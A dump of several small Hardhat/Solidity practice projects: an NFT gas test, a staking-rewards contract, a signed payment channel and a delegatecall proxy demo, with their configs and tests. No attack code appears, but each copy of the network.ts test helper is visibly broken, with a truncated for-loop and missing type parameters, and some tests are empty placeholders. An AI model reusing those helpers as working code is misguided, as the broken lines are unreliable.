| "dependencies": { 22 | "@atixlabs/hardhat-time-n-mine": "^0.0.5", 23 | "@defi-wonderland/smock": "^2.0.7", 24 | "@openzeppelin/contracts": "^4.3.1", 25 | "hardhat-tracer": "^1.0.0-alpha.6", 26 | "openzeppelin-solidity": "^4.3.1" 27 | }, 28 | "scripts": { 29 | "test": "nodemon -e ts,sol --exec hh test" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /nft_gas_test/test/nftest_test.ts: -------------------------------------------------------------------------------- 1 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 2 | import { Contract } from "ethers"; 3 | import { ethers } from "hardhat"; 4 | 5 | describe("NFTest", function () { 6 | let contract: Contract; 7 | let signer: SignerWithAddress; 8 | let otherSigner: SignerWithAddress; 9 | 10 | const merkleProof = [ 11 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 12 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 13 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 14 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 15 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 16 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 17 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 18 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 19 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 20 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 21 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 22 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 23 | "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 24 | ]; 25 | 26 | beforeEach(async () => { 27 | // Store signer 28 | signer = (await ethers.getSigners())[0]; 29 | otherSigner = (await ethers.getSigners())[1]; 30 | 31 | // Deploy contact 32 | const factory = await ethers.getContractFactory("NFTest"); 33 | 34 | contract = await factory.deploy(); 35 | await contract.deployed(); 36 | }); 37 | 38 | describe("mint and transfer", function () { 39 | it("mint and transfer token", async () => { 40 | await contract.mint(signer.address, 1234); 41 | await contract.transfer(signer.address, otherSigner.address, 1234); 42 | }); 43 | }); 44 | 45 | describe("mintWithMerkleProof", function () { 46 | it("mints a token and accepts a proof", async () => { 47 | await contract.mintWithMerkleProof(signer.address, 1234, merkleProof); 48 | await contract.transferWithMerkleProof( 49 | signer.address, 50 | otherSigner.address, 51 | 1234, 52 | merkleProof 53 | ); 54 | }); 55 | }); 56 | }); 57 | -------------------------------------------------------------------------------- /nft_gas_test/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /nft_gas_test/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2017", 4 | "module": "commonjs", 5 | "declaration": true, 6 | "declarationMap": true, 7 | "sourceMap": true, 8 | "outDir": "./dist", 9 | "strict": true, 10 | "rootDirs": ["./src", "./scripts", "./test"], 11 | "esModuleInterop": true 12 | }, 13 | "exclude": ["dist", "node_modules"], 14 | "include": ["./test", "./src", "./scripts"], 15 | "files": ["./hardhat.config.ts"] 16 | } -------------------------------------------------------------------------------- /staking_rewards/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /staking_rewards/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /staking_rewards/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 4, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | }, 15 | { 16 | "files": "*.ts", 17 | "options": { 18 | "printWidth": 120 19 | } 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /staking_rewards/contracts/StakingRewards.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | pragma solidity ^0.8.7; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 5 | 6 | contract StakingRewards { 7 | IERC20 public rewardsToken; 8 | IERC20 public stakingToken; 9 | 10 | uint256 public rewardRate = 100; 11 | uint256 public lastUpdateTime; 12 | uint256 public rewardPerTokenStored; 13 | 14 | mapping(address => uint256) public userRewardPerTokenPaid; 15 | mapping(address => uint256) public rewards; 16 | 17 | uint256 private _totalSupply; 18 | mapping(address => uint256) private _balances; 19 | 20 | constructor(address _stakingToken, address _rewardsToken) { 21 | stakingToken = IERC20(_stakingToken); 22 | rewardsToken = IERC20(_rewardsToken); 23 | } 24 | 25 | function rewardPerToken() public view returns (uint256) { 26 | if (_totalSupply == 0) { 27 | return 0; 28 | } else { 29 | uint256 elapsed = block.timestamp - lastUpdateTime; 30 | return rewardPerTokenStored + (elapsed * rewardRate * 1e18) / _totalSupply; 31 | } 32 | } 33 | 34 | function earned(address account) public view returns (uint256) { 35 | uint256 accountBalance = _balances[account]; 36 | uint256 finalRewardPerToken = rewardPerToken() - userRewardPerTokenPaid[account]; 37 | uint256 accountRewards = rewards[account]; 38 | 39 | return (accountBalance * finalRewardPerToken) / 1e18 + accountRewards; 40 | } 41 | 42 | modifier updateReward(address account) { 43 | rewardPerTokenStored = rewardPerToken(); 44 | lastUpdateTime = block.timestamp; 45 | 46 | rewards[account] = earned(account); 47 | userRewardPerTokenPaid[account] = rewardPerTokenStored; 48 | _; 49 | } 50 | 51 | function stake(uint256 amount) external updateReward(msg.sender) { 52 | _totalSupply += amount; 53 | _balances[msg.sender] += amount; 54 | stakingToken.transferFrom(msg.sender, address(this), amount); 55 | } 56 | 57 | function withdraw(uint256 amount) external updateReward(msg.sender) { 58 | _totalSupply -= amount; 59 | _balances[msg.sender] -= amount; 60 | stakingToken.transfer(msg.sender, amount); 61 | } 62 | 63 | function getReward() external updateReward(msg.sender) { 64 | uint256 reward = rewards[msg.sender]; 65 | rewards[msg.sender] = 0; 66 | rewardsToken.transfer(msg.sender, reward); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /staking_rewards/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /staking_rewards/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /staking_rewards/test/sample_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | 6 | describe("MyContract", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Store signer 12 | signer = (await ethers.getSigners())[0]; 13 | 14 | // Deploy contact 15 | contract = await ( 16 | await ethers.getContractFactory("MyContract") 17 | ).deploy(); 18 | await contract.deployed(); 19 | }); 20 | 21 | describe("myFunction()", function () { 22 | it("does something", async () => { 23 | expect(1).to.equal(1); 24 | }); 25 | }); 26 | }); 27 | -------------------------------------------------------------------------------- /staking_rewards/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /staking_rewards/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /unidirectional_payment_channel/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /unidirectional_payment_channel/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /unidirectional_payment_channel/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /unidirectional_payment_channel/contracts/PaymentChannel.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | pragma solidity ^0.8.7; 3 | 4 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 5 | import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; 6 | 7 | contract PaymentChannel is ReentrancyGuard { 8 | using ECDSA for bytes32; 9 | 10 | address payable public payer; 11 | address payable public receiver; 12 | 13 | uint256 private constant DURATION = 7 * 24 * 60 * 60; 14 | uint256 public immutable expiresAt; 15 | 16 | constructor(address payable _receiver) { 17 | require(_receiver != address(0), "receiver is zero address"); 18 | payer = payable(msg.sender); 19 | receiver = _receiver; 20 | expiresAt = block.timestamp + DURATION; 21 | } 22 | 23 | receive() external payable {} 24 | 25 | function getHash(uint256 amount) public view returns (bytes32) { 26 | return keccak256(abi.encodePacked(address(this), amount)); 27 | } 28 | 29 | function getEthSignedHash(uint256 amount) public view returns (bytes32) { 30 | return getHash(amount).toEthSignedMessageHash(); 31 | } 32 | 33 | function verify(uint256 amount, bytes memory signature) public view returns (bool) { 34 | return getEthSignedHash(amount).recover(signature) == payer; 35 | } 36 | 37 | function close(uint256 amount, bytes memory signature) external nonReentrant { 38 | require(msg.sender == receiver, "!receiver"); 39 | require(verify(amount, signature), "invalid signature"); 40 | 41 | receiver.transfer(amount); 42 | 43 | selfdestruct(payer); 44 | } 45 | 46 | function cancel() external { 47 | require(msg.sender == payer, "!payer"); 48 | require(block.timestamp >= expiresAt, "channel not expired yet"); 49 | 50 | selfdestruct(payer); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /unidirectional_payment_channel/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /unidirectional_payment_channel/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "~5.4.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /unidirectional_payment_channel/test/payment_channel_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | import { PaymentChannel } from "../typechain"; 6 | 7 | describe("PaymentChannel", function () { 8 | let contract: PaymentChannel; 9 | let payer: SignerWithAddress; 10 | let receiver: SignerWithAddress; 11 | 12 | beforeEach(async () => { 13 | payer = (await ethers.getSigners())[0]; 14 | receiver = (await ethers.getSigners())[1]; 15 | 16 | // Deploy contact 17 | contract = await ( 18 | await ethers.getContractFactory("PaymentChannel") 19 | ).deploy(receiver.address); 20 | 21 | await payer.sendTransaction({ value: 100, to: contract.address }); 22 | 23 | await contract.deployed(); 24 | }); 25 | 26 | describe("close()", function () { 27 | it("sends approved amount to the receiver, and the rest back to payer with selfdestruct", async () => { 28 | const hashFor50wei = await contract.getHash(30); 29 | const signatureFor50wei = await payer.signMessage( 30 | ethers.utils.arrayify(hashFor50wei) 31 | ); 32 | 33 | await expect(() => 34 | contract.connect(receiver).close(30, signatureFor50wei) 35 | ).to.changeEtherBalances([receiver, payer], [30, 70]); 36 | 37 | expect(await ethers.provider.getCode(contract.address)).to.equal("0x"); 38 | }); 39 | }); 40 | }); 41 | -------------------------------------------------------------------------------- /unidirectional_payment_channel/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /unidirectional_payment_channel/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /upgradeability/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /upgradeability/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist -------------------------------------------------------------------------------- /upgradeability/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /upgradeability/contracts/BaseContract.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | import "./StorageV1.sol"; 5 | import "hardhat/console.sol"; 6 | 7 | contract BaseContract is Ownable, StorageV1 { 8 | address public implementation; 9 | 10 | function setImplementation(address _implementation) external onlyOwner { 11 | implementation = _implementation; 12 | } 13 | 14 | fallback() external { 15 | (bool success, bytes memory data) = implementation.delegatecall(msg.data); 16 | require(success, "Call to implementation failed"); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /upgradeability/contracts/Implementation1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | import "./StorageV1.sol"; 4 | import "hardhat/console.sol"; 5 | 6 | contract Implementation1 is StorageV1 { 7 | function setVar() external { 8 | console.log("Hi from implementation 1"); 9 | myVar = 1; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /upgradeability/contracts/Implementation2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | import "./StorageV1.sol"; 4 | import "hardhat/console.sol"; 5 | 6 | contract Implementation2 is StorageV1 { 7 | function setVar() external { 8 | console.log("Hi from implementation 2"); 9 | myVar = 2; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /upgradeability/contracts/StorageV1.sol: -------------------------------------------------------------------------------- 1 | contract StorageV1 { 2 | address private _owner; 3 | uint256 public myVar; 4 | } 5 | -------------------------------------------------------------------------------- /upgradeability/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | import "hardhat-gas-reporter" 4 | import "hardhat-tracer" 5 | import "@atixlabs/hardhat-time-n-mine" 6 | import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions"; 7 | 8 | import dotenv from 'dotenv' 9 | dotenv.config() 10 | 11 | // This is a sample Hardhat task. To learn how to create your own go to 12 | // https://hardhat.org/guides/create-task.html 13 | task("accounts", "Prints the list of accounts", async (args, hre) => { 14 | const accounts = await hre.ethers.getSigners(); 15 | 16 | for (const account of accounts) { 17 | console.log(await account.address); 18 | } 19 | }); 20 | 21 | // You need to export an object to set up your config 22 | // Go to https://hardhat.org/config/ to learn more 23 | 24 | export default { 25 | solidity: { 26 | version: '0.8.7', 27 | settings: { 28 | outputSelection: { 29 | "*": { 30 | "*": ["storageLayout"], 31 | }, 32 | }, 33 | } 34 | }, 35 | networks: { 36 | ropsten: { 37 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 38 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 39 | }, 40 | }, 41 | }; 42 | -------------------------------------------------------------------------------- /upgradeability/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "solc": "0.8.7", 5 | "@nomiclabs/hardhat-ethers": "^2.0.2", 6 | "@nomiclabs/hardhat-waffle": "^2.0.1", 7 | "@types/chai": "^4.2.21", 8 | "@types/mocha": "^9.0.0", 9 | "@types/node": "^16.7.1", 10 | "chai": "^4.3.4", 11 | "dotenv": "^10.0.0", 12 | "ethereum-waffle": "^3.4.0", 13 | "ethers": "^5.4.5", 14 | "hardhat": "=2.6.4", 15 | "hardhat-gas-reporter": "^1.0.4", 16 | "prettier": "^2.4.1", 17 | "prettier-plugin-solidity": "^1.0.0-beta.18", 18 | "ts-node": "^10.2.1", 19 | "typescript": "^4.3.5" 20 | }, 21 | "dependencies": { 22 | "@atixlabs/hardhat-time-n-mine": "^0.0.5", 23 | "@defi-wonderland/smock": "^2.0.7", 24 | "@openzeppelin/contracts": "^4.3.1", 25 | "hardhat-tracer": "^1.0.0-alpha.6", 26 | "openzeppelin-solidity": "^4.3.1" 27 | }, 28 | "scripts": { 29 | "test": "nodemon -e ts,sol --exec hh test" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /upgradeability/test/sample_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | 6 | describe("Upgradeability", function () { 7 | let baseContract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Store signer 12 | signer = (await ethers.getSigners())[0]; 13 | 14 | // Deploy contact 15 | baseContract = await ( 16 | await ethers.getContractFactory("BaseContract") 17 | ).deploy(); 18 | await baseContract.deployed(); 19 | }); 20 | 21 | describe("foo", function () { 22 | it("bar", async () => { 23 | expect(1); 24 | }); 25 | }); 26 | }); 27 | -------------------------------------------------------------------------------- /upgradeability/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | 